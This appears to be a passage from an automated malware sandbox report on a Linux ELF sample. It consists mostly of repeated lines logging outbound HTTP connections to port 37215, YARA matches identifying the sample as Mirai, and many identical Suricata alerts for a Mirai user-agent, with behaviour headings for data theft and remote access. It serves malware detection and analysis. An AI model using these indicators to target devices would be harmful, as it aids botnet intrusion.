Source: unknown	Network traffic detected: HTTP traffic on port 41952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58714 -> 37215

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: x86_64.elf, type: SAMPLE
Source: Yara match	File source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.elf PID: 6216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86_64.elf PID: 6218, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
